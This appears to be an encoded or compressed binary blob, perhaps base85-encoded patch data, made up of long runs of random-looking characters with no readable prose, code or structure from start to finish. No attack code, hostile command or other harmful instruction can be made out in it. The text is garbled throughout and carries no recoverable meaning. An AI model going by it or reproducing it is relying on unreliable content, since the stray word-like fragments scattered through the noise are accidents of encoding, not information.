zT7m~Y*~Ly4Nhvh6U?09FLZgwdObC@UaEdexcIa;}A*A#ZCZRY*sG%GsdlRrtmZohb z1g8iwk|EeT4`Gnu4KBIZ-g$^?b->iLlXP&3B*$@Iu_xCpK%ec@hvYCOVRwEDmr$G{ z)Fg(gP~D)Z{=`XB;j~UudcR&%9No4;m|}FMSI4-@vpY&LemRynoTB+#u7!ARvY0yZ z&%*uFpu&WI8u+Jyf2^BGQ<}KSvpZ(M@yj*X`^x)PZrP)G3KR~$3vpel06tz(vaUA)@ z^^#7u`Am>@q<0z9%jS@yZKX;+^VVLn7*3H-t2rumpw0)Ch$c_?{Q-s`^D{_hq*-1ijijYYh$=1bUJuGtB2c^TOzHMFXYng`5 zk_JwZhW+_!STEDiMbf}2(r}n*DDi=ZrdUU;RcVOd`h^~NXM3d>hI;lPFxeQ{v8~>4 zf=P;3S4k(QNasl&sv@*nSG{&izB=?13C$@&pW$eh6ZWHSn3QyNlaQPun>^F6lu7YXULDp{O=*5IYsDO44rqKn2S>EIOUpsjW~O^IS!jcWisa$B;Gi>E9u zeI*^7B1spngWlceszYv3{UjZnA{_>%Ln~`N<0&x06)7P&MTkNiLA@Tq*O{U?e!rC7 zRB(zAJ{&4ShUWK5nDxRk)%h4V)qkWtj#I*@sCG3(_bb zRnJ^9n+|rs^+5O)HDn7@h1u!c{RMVlvTLIF%lVoZ@wbv|RM9FWlS?M)KNvN9V(QfO z6P69pKR-0*%LDsbeE0Z8_tSN{`Ylar(CNv&JBc6GuD>wc|8UfaSHVXgDR;lD>S$x=fer ze$fk*&t<9{>+;RnWdR#L=~SrK;l{(NO^<20Wo_+`E;_w@m{NF4>*61Dc@@)QMy)#& zUewUcPW+(R$Np>9o-{dkA9`%etJ?+Yx1X9ddq&ai{DAM(?HyVUpZwdjWhVme{-@pZ3;(?tBkyki43x z7xs?a(r1L`_EDeaHGzv2yvrd!F6BF?#Uj>m&W0JGETzG;YcM?+2`oDbpwN^heJU)+{VMMK>$d zr`3RV%deHw{n%T#bJCTB$`wc5{GnN=%r~#E%n$f`;DVh8kKbyu=hUO)*Kchuzjj5V z9Vg=!|Fvaaa^m=w<8Bu3mp)?o{kT3?bzk@E;bJ?-)oP)wN~kG$JAaM8*VrpYpwXv_)2AZj!W4e-*LjlQKyx1AI9y(oGj)Rv=e#Z5Ykd-%ET*UUo0he7{Fha~ zzM~B9mZ@`pJhmt1eDjRH9~AAf;es;%7ydrAMZX!XeXqF|UO&t5n@{JUD~mc_|MpF_ zMlVCv+9q55gY2IpVyyxXly=s@h|nZH5l{V{_qP4589h+oSD;p`WHidWM3Jc*2ah^f*k^%@Tg~>}Yc%V2<@(j8 zKdkOF+^uM@r%>1KgW+OHShL-$N_KvUNEWMz|;CqPK^6CGSg{gwOjd>(`SVT#PwNO`RUaHA)OD` zeE#jZWlv`g@(KR(^5U+q+{-)~({e%|?@uDCY^!*)#OeaA1OD#+X#T(#dvA7BZ(&YBM^H!D#8sejG%6_3~7*mirjZfxnwuOH97t=XD2_dq{W&tES599egs z?}k3%%m2Fd^4Z1H_XbTOGrtO}LoSCIvrnxpcI5Hn9xLnKKJq-FQ~M&>O}f^0``IvO!Q!ZE zx29e8-2C?YUqAc1cjUT3Ba;iCA2uf2`H6?-(Yrd@y_bWow>!IIN!#(wHf{Up#mc{b zb3XViE&9$c3lf($_@eByEjLm}5AQX*V0;hP$%YmyrUoBxzqU;AR@FP4p4|Fcx3q1+ zHJj&Ttf|nh)3kB(b2=S~xm<6qRHDYYS|pSeiNY4LYw zN~@;ZJ6)~Up!TYR7v)8~`1|pQ6SM)v{V{^s4#C-TuS7k177k`F)%GTD4i(>f1(1+k5Qp)MQJsj|0c7zVXw} zv-$%+ootq|RE*~cp8=hQOqsCdYU8cdPv7&)*;pv{$mL=89#)*uC#c@HjmCwx_-XUg zsH3-MKWsd0ePQqQEiU%hGyi7iw01W(PIvmS=9Bb6URuwrcefJ!_w*~--08EB_P*7g z){OdQvEHY2+t7M<7d9%B={sYd_mK(T7pT+ZX1NWMUzcv=HnDtI!oy*w55DVP>C@L+ za=H!Pwl1mDoVmMAN1SR++F#GGb;#Z?YIkfscw~*Y?ko4LI}-7CnF6)@eBbHGqU%3x zo|9B-T==t`2J=R`E&1GM=dswz{k^YjpZ4JQZYisq-p+YD{!yu(3+k7w9^9kc@aJjz zQ9HwXuKoSP{*8ky)@!qyj#zqs#MX(sf1cx4%J|9Faa~SS{;AQ^uYVbF?!v(K@yp#y z_84<}-e(t6b}y(HaO+v;IT;mxNZ;6O(cay0r5p90?%cOZ%%q;z`$o4;{Cw38>w^`Y z-j>^4;Pj!Nof>^Tcai1SeIC)zvd-r$e(~AuS7{qgET1^K)v21bjt*PA_p1|^_5_z0 zeRkN;`JYt!^{)o|=FfPxbK{q_KOEflRC&{aAt@s}oLjoG%d?j~s(FD?9^_Pg7B`xnQzCm$aF`v z?)beJ-sSgW8H2r>C;Tw4Z--JnyZ%|_=-VB&^<73+d+1TYT=Aok#RAg%jhuha^UFG4 zp89$4hD_Zk*9CuhJ(=lUyiU~DhTZ47l_)&1yro%-U+Olk?RS6V=MQ9l=7__$QTVk^EJRk3~7m1!rR-_H0r zalnHKo9~CaTn^3&LtwlX1)Jopv z^yp4kpOYgKuh-r&BeG_J#uJ}>eg8>O|8YUxmuQRp+^Y8et;gfjj@)ls{^u_SpBy)^ zW5I{U_A`Cq2`x16ubJeR0xOkF?EArcBSQ*zriS7a!!;4l4WcQEM_UBwju~^~B1*2hXT_H1*Ac{+`M4 zPx=jRYB-VevGHhr&vTX=hSVBStfHny+fB;`#WwjzpVwv#nBKnjndW6?Oe`C;>zZe7 z&#s&5z4hza?M-g(O8ooEpYM5hZ1~_615)00z4&m?+B0JKo87%rd*kf@-G?q^1~hBc z@%@AJ%siCf!D-g!~fmw7y<&(&RD z9a26oe56fTyx`8XIxFwH7k_jqBDd!(Q^;4*9ovi(-LpD2^h&GfaqvI&TunRaFoFAUFU;dmA|gF;KSHuZcbHhZ#-8e z$-nrIJ$6i*>)N2&?M;#2)LA&T@ADd;&MvCekMFyn=iaQghN9DRVpi*iXD=ywvQYUy zPj1_`HU7wnCuhn|w4{6!cJbn&4SPOZSK&at^7nQ{j*1u^dd}<3)TFyFcRAHN-KJSg zx%MBIT-0gn^|PrS(T}~>C-!c$K=ZUx_Rw(^bFLrrIk2SF%kH}_J~!=b=yJ;Yr#0)| znKxS!nyp*nTllw9#R`ni-V^i9fpR6=Oxl!|9eOgY*tw!>Gj6WxbLpNaf7YqufVSUP z);E2XUOm2er>JUovm%#Fzxryz$`OZaJ)hA0(#h>N;$yF8isAb*(z&Ik%fkDj{jM+f zu-u=&zZoOCcP#he-E&a^)kOD@o$2+P*PA`=Zeokz1)*7MKmN_D==G|-H;VBe_VOr7n_N8?&~8iPCF2?oY;?Wc(a&Nvzjr#`_tc(`a+1S-TGOfN7pH#i zd~L6Bc)wSdI=PKLG4qGnd#VN3*|##gaM;B+73cjGI>vL{{pB;u9y+|V&7)hjqdz;8 z*z;Q1b~nE|vTa!Ht*tumFYsBrI!|LetgaqmJ#aH@#iWSzziM|r@@LI$Z??DJeIX|O z=H>Hln;uOln%X+*K!@9*>)TH)Ubknr1C7`DF7){{Hp_d!yRJSNRm=5z*|`4e)0aND z=|23zqK_}luf4kFv2*c_zwdocGk-$Q`$tREom_wA+~w_}>sy-!w41r6{|}u<8}@7{ zmGJcZtV_#U&y8EMC-TI}(;o3FKOKAJ+sMNEKZ_KfA9cTbZ^!SOwr$#- ziw)W|4(j0>nsxf}@Hbm04cpXcq!_>IcQ=>#YWSUzqI=2XljC;{=q%aCzl@)%f8MYD zs&!)eHi}qwbA`{;!=nG&Mo#*pXRYafitdqqbB;WJ^kHGqU0Ghl{)AFqd{*k;C-|S6 zKC%2M-Ie;pXEA)@v*@4rEV_&Kda2wG4LrAI9TT6^UVr~;f@P7H_}qTxlKoQ-uh=U- zPaN1Ld+(Ybe-!g$txMDHd*i-5B0k408vIamf9N;j^LH0Br+=Ta^;hv(OfOO2f0zGa zdX~E};oFgI=5`UoH+5FwZ`b}YTqC;cqTMGq-?gc>n0{jU6Z>CNpH1C3eBt;m;`8kq zh137KR}QibK<^+!*b65Z^w)A5$n6$o<(~V z-Nk3Ie_5|;#inNqN4FK9SFWyiFQm-!HRAKGf!S|{b#1>lb7|ktU7|+53~k-4>g?Xt zHWlkQY-t&<8wPPa(PnwS9ifX(EfV`bqWhtOG5foJSiiH_zO@;6Z`6}@W!JY@;xqAi z5#I%3fA7~vtFs5j9y>cj)A=VhT>pGfVdu_s>z?hg*&}FJ*{2=-iti76RKRcClx5cbi>xpI zOcui<)~90ri{TZY3s`f)%WdkEAllEg$8#HgUBbPd_#EG>e~(AEKI=5;i-_>-#4|pJ zf8ICyqsc}5#OEs?Y}p*DjqFn2xcPD5t}vfYtu5z9AKp7k>>rB#WwHEkJ~Au&k1j#U zVt;XJ>wUKqwheI+)%whH?r$zM;o92@r&pMUttnjdZYlpJi$e2r zKiR9idHB3hB?}(;A>i1S@C%~67#=ZydOx}ReUn1HSBv9~zdPQDDPCtwYS6mE`)|fS znY5(D#h1$)6+ZIo>%_pl{TDO~ebqhSaMbLopEqm##hG8yhqM^xkz%>n;KMPeeYNwO zl$i5N&8?r5HuuS@wBYsGCu7z$8?t?Jua$A_znRv%*prXHzWtl<-c@6Y{Bp?9+JpKp z{6epN_m1A1o1zBvjjmm{?sr;E4CmDDKYT!B^vD5(q1VJZt^BMuuBmqa0sTgN>dTI9 zaAGodxr6LpJ9@zAXx|}U5DTlNpl6)mdSyVh-?3*0PjVT0ajnx96l9hSn2^o=m&@RV zHe_OOr;x4iIJrr!2QS(oLvPYa#_jIj&($)nOa`yQ*;VYTC-c;P(c5yJc9bA<)MaZu zwG6HN(rJ4NGFPfZeXN$jiZRI0z6uIYR8DBvr##kX+EmN4uq42cn+j5`UuaZoLR-aHQikx`< zTeVCnCQ}V}y1w7M0ZUJm@uJm;I<1*WV2$1RQHY*WrVNv*C&;v${SB6kDrL$t8F3Bk zI%6Y~TBaP6>5eDZ^8d$y60& zx;8qG0;iOr)YWP84i8zNPMddlK43C=ho>@=$vZq$BJv9lX~-`;l;b*W-r=eK9^t9M zWIn~6@@w9ZjQ;90Bwuve4Y*T&#eUTUkx-^{Eha;&*2(4DM|&LDYHcP{SCCo1;?zyG z9%^xP+PuR<8uAMdS+Y)>cX-HEr_DP&4c;R>4c{X?bnZZY;rZ}A!t>F4gvaka!b5BS z^9xUt_Xtl@CX;vhYQ|*pE?*xrnY`_}Ig`n|e4)8QyeL#;&s%%ykU2_QH8B}V0g_2> z@noi2#-GWckzm)%4numYWdfK?Fz%$Mh5uW#TBaqFiNu}CPMKvxSEywInam>GNzeKb z^}bZg1TmS}g3RoOb(X4SS}~b$L1yxV>L}dGxVL69VwlT&97V@LDT8Pr4M~#1^W*1! z5o#IIpwnK)o#N$o_9B`ErJfKbBl_hyecCXYS-6v5b3c8E23Dyjl*v#^lFO9O+pkp1 zgfSWNi)5m53L(LidfGCX@`6mp$}Q{EGVPd51wqEsFZQ`whEiCkEicG??>i6;zS1wU z9P|MMnK`3o7F5e1S!H@I?)e)1I;EZtc6yF&d-IiAhFWBuHbC&J=(@_+)H0oz4CO5O z(BnqEw`!TrOeSwT?80R7w!^MWCU4t7*ArpRJKwu8nY{CzY95_7?|kpUWb#g*o=hh1 z^y$T9C}+u59ruk_hmA^f{f$7aX%)r9(O8(9^Kzyw5PP6 zNG9_dcQ^e15mFNwsFdl?WT=NsSGTX6kf=(T0dUc2y_tkYv&r<)aJ5Vnlc5q#*VelM zPt-Ehvh(_xWOfwkj^D}p%oj{X z40DmKYd=uSpz4PnRLbm1#m8&ZGDDdR#g6Ro@9N*9Yo-j(FeVdAcl>{K?7D|q23ZKd zcH>TAp0IdzhFS*I4P?sVPFH66DJ#`7(QwgeH{(vBXmf7)KD7*z9x~ennMQ*y-Brub z$ke8%_ztr{Ei=kaPwh^FSF2@4Gnpc|(=}tAivyW4aM5Y2<4$4j*mVmMRhfoknM}AK zlhG~!iK>+O`aNXGx@>9qJhGXCG^E~P&J26COjQ zGJU2p8PTs_dxfA{RLXo~Clj@H#WuB!h5Lm&p&i>sJd?@WHl{HdF+43k4XUK}%W5Z+ z>2~Z7waj!onHk;pJ1ENuOeSx8#*hr@oOhV1*41gLcBQ)Iey#hf)ZzJ#$yCFgu3r-# zKUB-igo{p_w+yxZwsJ9aa$Pi2%KW09hE7`oce+-+-d{m2^F3U2+R98qqp5N+ez96+ z4wFF!uq$idMnqKU*IXvk2X}ID++NIMGI_Tb^O;ODK~D?sj%f6hel1`!Zn)FctnICqL2^J(dEDtrNv*zIEwcnJI_bR($6 zO=_dEQHFUblcBE(z!S|*ou!pp<_9L@0VtKzS;J?cqE+fy#$-z3PS?C}X9w*Lf{5_6 z!=2EBU#;4y*0X}i&`ImApne_l6($&zeywCOXX%cAuc4-bUeR3}?j8_>RbT8mnAKb~sak==J$>d!wHZqw$xRahv zmW!w)lzweuGUElA(UXtYQp;>+GJ|oaFgx!5Y+*97bjQEr{?Aq>QwMj_v!+gy5Vc=u z9uW6L-03>Lp>8R)4E1VkecH%v3mxeBg~`xq<{qHRCAUvi>)F9%=v;a#Ul9ZPJXOn3 zNOan1NHz*{`OiK=f+^DwMFleSMHUxO(ZwG=P|NIMGW4Yjveo8&W5d)kWbHa_58TPG z7h@9#sAcvrnX$N2{d4Gb27;~(&t4{zx1N3Pp(lySpweO2r0qW;rIdapGnr69=6T2C zuhcRrOs1zG?(NpgM+M zVtA?~?lq}p4lx-qJTaH1IY{TjOhydPSKUfE=qDUuGE^q$a+zaZulDOGTy$C_3cD70 z6e_BgImToP3NmF@&Ua9Djx!lwL1xvnG?=6^eNHeLDid^FAMy7GYMGO8(P=5K=sKAF z;Hp|C6E3zef3j?Uj#}mvlcC-2WE*9M(%H+(@MJNW_PCRb<2i@ZOlAn~6eh>-<9=f@ zRd6RC9M3tNVKS6HB;$C_;VhG(l1SIpc8e;i!+Z`dI_*eOf-B41IzTN0^My<~CV~Es z_wq=!%mpUXLXhbmHNw6#SZX zxj!lZWti_XnG``!@rw@}q~TvoX0)K^n?{Q(sP&*ZN0>ldqK zo-r9Q-G>e4n)IHy^d07feR9!#Tm%p;8&ImrSM{?sN?)w06H*22C3L zTFE3(*FBnmidL!TZzj`{*tlMKEDux5yoQTT+l5KsJ^tFKsEn0*-Y}V;1ev(FhTYUM zZ<)-Of?wmmGw)W*ykjzJ1U-$m-z~0|A0S|7-j7!&|;u81{Jm5yV_-638b&tPTv5vuU@~GF*6h`zwOYoD$%tuK zD)3NWwTzL;h-ql{E7wph87YpnwOvG%Unq=+ql> z`Kfu}LA4AHWHiUT-r-S{-TR-=n=>s#V#Nguu>F>NU?&Tg8Hh64Fr9`f{G=-bIzPOvuB<`_xk?xo9iN( z`OJMk_tU2A?vTB{ADq~{|I}N zvZ-lGnvty8(y`NWQ`1aoF8=M+b4^Y22sAB7Gmf*8)9z0;%W0`J8O2eVrlu8X{<&SP zN%PPB(I^H^vf-zFj^$X=q;tC-yI>=n8c`j7|I?N<|6J$umFDS_D?6Fx zv?C4NIMVWC&6;o$^=8G92Jd@uNu5&Q^BM%ta#f>3w!}($VB37NoC`?f+ymUza>p~K zrUPkU^3if=Mu*!>O-IsXu%_94qwX~|7n0_F)=WFJ=8UPih%`>y2j71lT&w`8e(ppX zr|lWHEnRDBE+&oB_L6DC;ZXCI)0s3*+czE@<#T?^CoUth-&kd8@N1%~ zMkSI0o_%Uu(%jVaAkB@eId;p}ADEh+q`|W^F2M(qQcX=S(m==2@?MWyea?sYu8w;> z-JQR>#4M)|X`E}*ueHZqZE7wh%~H;qZLNRK)bu5dQ|F8C`J<|-xr{VUop)W-<2qAw zxvJ0A`BC#s%@r!^^2@*Sxu#sHvaYz*?=$E`(m2=3o>$e`Yi0#heSV*JXFF5Vk2FsI z%sSR(pQ*t+!>UnE|NJ;_`gT*3L>i}me%&2_%L^cNoF-B14-k|`Ox}9`KBgF8t2}4$=2`TRtS))PYP+^!bVH$L5qE^r-Mj?*KSeVrmAH#;MQFFO%U#zc*`$D(8z=e^_Q}hN^Os zZ|k(n)C?ny)2`uv|8%LT8BQ9fUBwGKz?&j~R3DBYjnl5GE6!P9YDSXAY1jRIf9PRq zMvMw4a|Yu0u+4lil}srrl|4K$dR-JM1cGc{vXIVXla=yR-oe4q1A8fl<0v{byF`<|IKkuiLwDNg6m=(DG+!{6;e?i!|%tCoUIk z9~N(FCX?oS*pJuTXD_|O=NOzqnkV2VYRa}*t<7?#lEyi{o||;d+omR)G!vl=T(({L zzR&e*8flz4KjxOnL9?9cq`~`nT;e~P|FEgaAq~DF#^vUl65)`=jqv-`8MX!+1HT23W3h&%-srkS) zf18?oDyM}lv6@`5<(R1{AWa9>OulXOSEi8ET7p7(&X<}LP-BW(= z#my&80&9-m)uzlW=X%ogW6ej8jfT?}?MjGe5TH3MXPg7Gy8t1&)G4ElYxq35c>cCH2KAhCt=lBYd z#(Dqwj;rQ$HM5qJ#(Dj<=gY5s=2$stoY!A17p+`oma~F1pW4;2`qvy+$JE?Hnit?F zF1P(v??qFyk~9l!i8bM#^L*NVD``%$X5i!&hs<(rBMsbG)AH*LZa#j#^)|E){v$H?1vSrTD{7fOwC%-JPZ4)z`un}eji|J z@J_616wX7;T3+L>i%kvQWmSz@0{bzm!KCPgre-~9N?8+qZ?j&e=1J1PAkj1AKV4rt z&D1+E#Kxv( zIU7lX$2<0q|NpyrmNac)Kde|I|NQ<=vmAWqr)pFzYi_#i;g3zt^Q0LL8my21XY_bR z{kQ)Y@FHoPx#9mA{Y#{YWAE?cw!S@`n&i?-gY71$czbk(Dx*y;i zh3fEowymTo1d7Xuz8$Z(`vp*Wvcn)B801@nR2rlW z4je5`yLuR8gh8emWTipY8suGr95qPQs^0pXXOMV^j}WzswS+`%A23^K(aD-5#EAo%q#_TprHVUS-8QXAfl(Jp*{Mw4y^8DNkJ23cT` z+nH3gV(D{0%X*MWeIZX7t}RTefySOVyP4D!^1k8v${_gN+_-Fwa>}U%?+)QoTgqv| zq?V9&Ov;7ech=#uOh|tw^Mv5{wcxTsNG6jqA%#rl3t7VCdLgTrJRxKalXXH~VzN-k zZYDPfImBdb>^zcP77NWI$jC>IHdWim%d z4<@-nl9^-+8O`K5Az4gHgcLEkNytr1mI}Ft$#Nl2Fu7UC%S=K--eq#D5d5BPTviJC zfyuo>@LQ&FxkpGHcomFGsgR~jW(tX8@~n_Lz&DFlE!4JkQ^qPgv?{| zfDru7S6u!hn$ zF(D0@5^n$W|uT3wfK#93h`FStta*bqSYwQBFCPO!9@q)I)`3EskWQxl70wO#UO}G?Tl9)aAGFx(aE= zq??fTOd1M_XVOT>l}s87NoCSR$kj}m3Yp5JnUFb5nhROVq=k^%nY0x0Ad^-?o?_Bk z$W|t8guKb*JRt{}#0vR_Nn0U5F*#p|^C#l&5E6Z^MN0=EZJD$alE9?BkO54(2pPxZ zA|cb5Tr6ZElY=sURxtTQ$OBA160(6wyp*$($!H-TF_|pnIFlS9e=*4u65YU}C09sW zCO=DhcP1sGNoKM@$QUMbg-l^`gOIsQ<_jrfQXu4BCdES5Gnp;qWhRS+yvw9e$YCa5 zODj$>`AJBXh88W~3TepXn2Sth5%wUf#BLJl&yRb1aODHrl5lm0^LH?nByD}KOtOUB#N;(8=Uygn3)#TrJt4c8JR{}2&*W(#N0>|% z@-vfZLTWa#Xvr4Rf=P^Ibzss!NOvaDLIOF!BL?PcX*(2mvCT|L<*3_b9w~%w0 zydk6wlh=iGVzNs}Zzem0Bs1A5WCW9q(qj{uJSQZV$p#?{m^>@wW+sEABi)IA&E@R6Ec)ZTOkve zbQCg!$wfjIFzFy9#N~bnRFHMG?REC+n8J; zPEk4zpEQnR&1%PJwQnA|6%8&%(i^9k{8vboHWn=( z3u(wCLCWdKWQ>r@m`o8egvksc6Pe5slFwwOkWwbUNct)!e+ya9q>YeQnY0#ifXSUw z@>fg-3HgmlP)NP=ELu{8#4<@0(w)g*Awecr2^r61n2S~mF64J6Ur7I)6Km0Og=o%Wa;1=NOp=B4XObjjG?Sh}rZDLxWFC{t zg@l+~Cggr5|$bfTk+RhcKxjWIU5|gk&?RD`Ym4>OxAG)DyCj$rk91s+4sv6Ss!z6-mp?$Vo3K z;AY^MrWdB?#`CuA%E-#j5dc|Ltc;nC138k(IWuSGiwH^1%qg;MYi4B4D99>wAZqev z&T%&3HdAdPX8RRL0JmU~4xyT?m|8$SxY||v$A>9&S4VUNOA8Dk9B?h_4 zAWIFh+#oj_BxI0V4YJZ9ePG491pYnikZ#VgEJW&jx1;IqXz(zncJ=5AYq-pSe?)rI zCj6M{kZw*vn}j(1^MDYi5B{~e7aUD*8dTU467OVHI2vhb*C=k6kZuNP=#XyCSTu5oxEdRzi9wngq?tjQ zJH&~yS{S6ILnOVGL0TK6jX};cNUTBH8svP3#5+?w-XRIjIcl;);+-*FB*Ynu*Nm~4 z=4hl{*#?O*Tn!8oZIE*f@`6$FO9pw~ATJu^eWT z1{q?I{s!r1kf1>Z8f2J3h8kpqL52%)j-3>T#51+_3By>+AvjvYKP4Es&6TC)gg7*}f;5AAUyhqdouWXv&F{H_*2EjWTt-;f&CYz1f zn`me@8Ja5{O}DOmlXTc1Upl0Ra~1x~A<~DdjglWR$SQ-}=MX75L5Op1nc@&R+x%jr z-|1+&IhUDr23c#6^#*yuAx<$?hLa_C!jl}*1Lp)T`{AEG7LKTvQ%-NE$7(yIyHoVJ z4(aW5VgrZB9b;psWI3-kafoP|Iz%+h93qagjJoI59jnyU3b-hBada$o5{9Ap)i&I_KC+s4P6`r-t$XX^@KeCH7 zD(h7v%XQVk6BsO{QCZuKta*~vmR+P#SrtZ>>$;R(q)}O~i3{seG^KRx3dtJ5F4Cy1 z9pb`1-1XB1qg~fDc9BM9y)G^%t4y+r*+m+awNqS9mg~BQU8GT2yTs*W&6lhV>>`cI z+AS_8%XPiMF4Cy1J>qh*u9vJY*hLzZ^@g~dEZ6l1yGWz5-XvEo41%TGqGi3FkgP^{ zaf5|4D(fwkwQ%G+OI+8*>>`cIdfUiaCt3a3MH-d$j*;cMu4NZ#RMxvj)_heIskJWL3wTBUnhIvOZ8**oUsG4ZBFAvOYAjiY2QjyGWz54yr8dL)SHo zU8GT2hm5QnB`cd>`cI`dnodyxb|^x|-olIxM77S%;0R4U(0>F4Cy1FN`eLHH=-PQCUaCg>_lIIO_aa zl9j_Q(x|L2#f5#CwB*(YTvr*pNTag85|@*;QL-Lm7im=1*Wz-rT-OeEkw#^GLoR2$ zcKq^C=V_94m|dh%S>LLxtq&gG=equ67im=1Q6uXv$!dx(*I*%y$~tCbxvm6ukw#^G zXJkDoSwq-G8kKe2$Z}oN*hLzZb;8JcTC$d~i!>_hdn3zrJCzqquN?yXUrCH(j#2 zu!}S*>nCyHod3ME@(%KAlIPL}H`W*2Ex)@gA$Sx-sU zee5EQ%KBAYPL}K1#4ggPtlz}tWIZEU2iQd#mG!&0Fe^|x8onx~Iu-!SNp_J&Wt|~c zEn8;cd80^N_3(`rSV*I?{!m%h9eR0$>*~lZ(x|LIjjTD6)t_CYQCWW(S*~j$yGWz5 z{#IG1erzx>SF#qci!>^$Qf0j`^qfYn>kf92MrFYV&|$ADF)LfL*0YN=Dl3Xy&g)9d za$P&vMH-cb-yY(=hQ+MsBA- zU1goQ=HdRXt1Y`oqq1rkSvN^mZ+4MJWz{sYT-OM8kw#_JGP0IR)^v7}MrGADvRu~^ zc9BM9)iJV`OV(<3kw#_JHL_gSOY9sHC?!7kFMtaDY?!g+nZab1JiMH-cbf0<1mUn?am zlU<}ySq+UW*R_CMq)}OoRMvZac1AxdS+}!`G%BmH$~u!bCf0SWWfy5wRuh%=$l8y7 zzFV?hW*2ExR#TM~KVZ^+*R`Krq)}PT$c69P;qq#W9i4L|>sxk_MrAcuS#|#2(A;%Z zvWqk-s|C3l*-=*WI~Kk^L$aFSo8_>OMrE~BS$%GN{!`c0g>`cII$zp_S$8&iZNetW+RrZ1 zsH}D>>y2?++PSW8*+m+a6(=st>O1nfV-HByAM7HH%4#nzY}bOOFZFU=G58S;ETmCc z7l;e@->@sS#eXC#j$NctSslcMS?^E#bd~G6lwG7zSslscyyvj)yB=L$lB}WZB8|$r zP-Q)S+wx4;HJM$cQCSy}%Q==4Zavy}wPY<|7im;hCzbW~)i;D(*KO<~jmo;1TzD*F zZ(R4vtfj7N4ZBFAvO24*>a%mtcU{}qMH-dWgqRoVS1xq zR=Tc>*+m+am7ua7{(C@?>*~iY(x|NND(ebyVX3Y2-?{5i$?DE7(x|K}#f5WzWXgbe*ENV;q)}Ok z;=(Mvemy2xY3w46$_j`Jvu3{8bD--gU>9jrRzGn$S^1K+lwG7zS^dT3WVx<;*+m+a zl|-&q7z9gNuLgImm8_@OMH-crtg;@xd;AI4wS!%xQCS1X<=jUtj~?*t63IHmF4Cy1 zfhy~wqKbE2*AMI>jmiqDtT$RWpZADlRpm$JNTae+R95vxhw8bmX6z!3${Iv2=iGbu zjf)07ELj(`i!>_hDwWlH)Bd+yS3h=^0u()t;G@tX) z)2?d>`cI8mh8h*m!lk>$-#pk;c9BM9 zjZ#^^+`po!>#D~OI*>+XjaFG7P3@5Hy4taeG%9P1xS&~9(ghDLdO_yKrR*Y&${H&! z?2RXTzrV$G4QCf=RMt3h;dujH*Pox8<+`S@i!>_hYL)faeO1nLU5nU78kKboxtzK2 zUis7Iu4@&$NTaf@Raw0=|Nh8zJ;N^2sI2kia^^p4*M!)plYZWp#I@L z)5z*3SxeYO8kLo$vUYv6zo+ZEmtCY$S(A;dhLZI(yGWz5rl>4zm+RWWF4Cy1spN95 zl{fXz__>i}9b^}2R93didbs4{&93VNyGWz5rm1$_QoGr~#*$@q$1$`l(x|NIDl2d% z<#yNAm|dh%Sve{T=SCCBx{zI@QCTxo*4EE{Ep%O1u!}S*E7!$;0wq)}Pmh0NVF4Cy1 zLL;k%WPQXg(x|K=l~r(b$5Pkz1G`A0vSu4uEhVc8KR8Gll{Lr6a$QZ?MH-bg*T`xm zS)JHL8kIFqW#K$@U5V@>jmny@vhet7Em@=3MH-cLy~@Jl%XLj-7im=10wb%9WG!MB zX;juiBg=K&#V*pQtQ*MXyoSa1d(V@sC)q_Bm9^$SY@?;Fwn|%onRMfRMw3~R$Ixc!vA@IG%Bk^W#Qa#T}|0V8kJRQWSuWro!CVh zm9@mka$Ny-kw#@LC6_Z^=T!OYvv|oG!!FXOteaHU+>0BRxvm0skw#@LlXk(!oz~K* z`o||r)-CKJjmj!hSsS{3(9CtMV;5;u*3GJ2wf|SQ%_7Nqja{TsSs|5$=P1|pUv`m3 zWi2OH_{1`Dr=R> z8u!!kdtBEa>>`cIy4z^ixsny#+wNJ?sH}Tb*3jwC{p7mh*hLzZb+6H`7i4bqW*2Ex z)_+tMj+g5i%r4TXtow|1y(C%b>>`cIx?g4Cc)70G>>`cIT5YuJdC9t&U8GT252!30 zFW2<|yGWz59yHqZqGUbCF4Cy1hg24hm+RWYF4Cy1hmCf>`cIdPHU6c)6}q z>>`cIdemswhmuvD|Jw#>RMulE3&+cKwO|)%RMz80yADWJ7j}_GWvx+JI9{%+Kf6ey zvep{y`arVAvWqk-Yn{r%@p4@`>>`cIdctT|nq)0z7im=1dXX;jt*qg@jv>koF3 zMrCbOSvX#>`cIdQN3s_hYb|>*~WU(x|NG#f5cg|IXFz z-;}Ju>>`cIdO=+H?p*WhI=|z(Cb5e&D(gj~UArY~HoHipvR+bI-@ja3?z%$kB8|%0 zBrd02Z%Eby>>`cI+AJyovHU8GT2TU8d0m+ShJU8GT2 zFN@1**DlFA#V*pQtXIV4jF;=Gf&bAH7SgD!ZAQCxNLCAWkw#^`smPbjbj&SRMu-oyEe+TGKXEHQCT}w*0?p96I|Dg>>`cI zdYxR(Ya+Zqd`_}fv5Pb+Yp2Q@GimnkuInjwkw#_hGTOC4vR-2sX;jv3mDT>U>o&Qr zL+m1r%GzVJ>siVAo?WC-S#PMUJ(K?1!*x}~|C9_1X;jvmM!N>d+-Sxw(x|MrR2IGm z>$_hZ6j-dWDR5&X;jubIt%`9pzBIw7im=1yW|R=8zUuaHoHipvi7Ph>_gYJ zf?cFhS^JEvA(HhNyGWz5-cwmP4_((Q>>`cI+E1?V*I)f5>wR{SMr9pPS$KT8t`qDc zjmmo8$m%CqRq;Qp!$KOB^?}O5x#7B6vWqk->q8?eC|U9BB8|#AsIu_=dDk_FU8GT2 zhm5R&l9kRb(x|MDR2H_&b_hQ#Bi&CIJ@GsI0?A)^N#c z%`VcYtS?j+w##+(U>9jr))8_wv#Vm^XKg8xmC7#CsH`tlR+r3G4P93zyGWz5zB00s zB>`cIIw3AB6|+($s~5XSqq4pi7iQJp*ql~hA7A4n>veXKMrHk^ zvhetFU7xaxG%D+7BWsLg{lYHNsH|U979L-&t9~N(kY$lZWt}#%u9mC|63JwdMrHk~ zvhetFU01S;G%D*iBWtW=jb#^URMzh*3y&|?mB%j9sH`*M!ZzTXA1_(U*hLzZ^@q5e z>`cIszt8wd$u)_wU=F_QCYQB7QP?ly1rr; zX;fAn)h_(|09$2l{KhWQsI0mwYh3xt%UxIfemEMIMH-b=&&b*$S?$#xByRtPUy*$IEpUvx_t;tE17b3nXh5yGWz5E>u}KUasqDc9BM9 zU1YSYon*bvF4Cy1PAUt>%XNLiF4Cy1i;Z@*m#kClB8|%Gtg>*tTvx4Rdq$B)Wpy#y zb(v(fVHass)+H(n$IEr~W*2ExR#&54S4h@yc9BM9byHb5Uao68yGWz5;*ECom8?>B 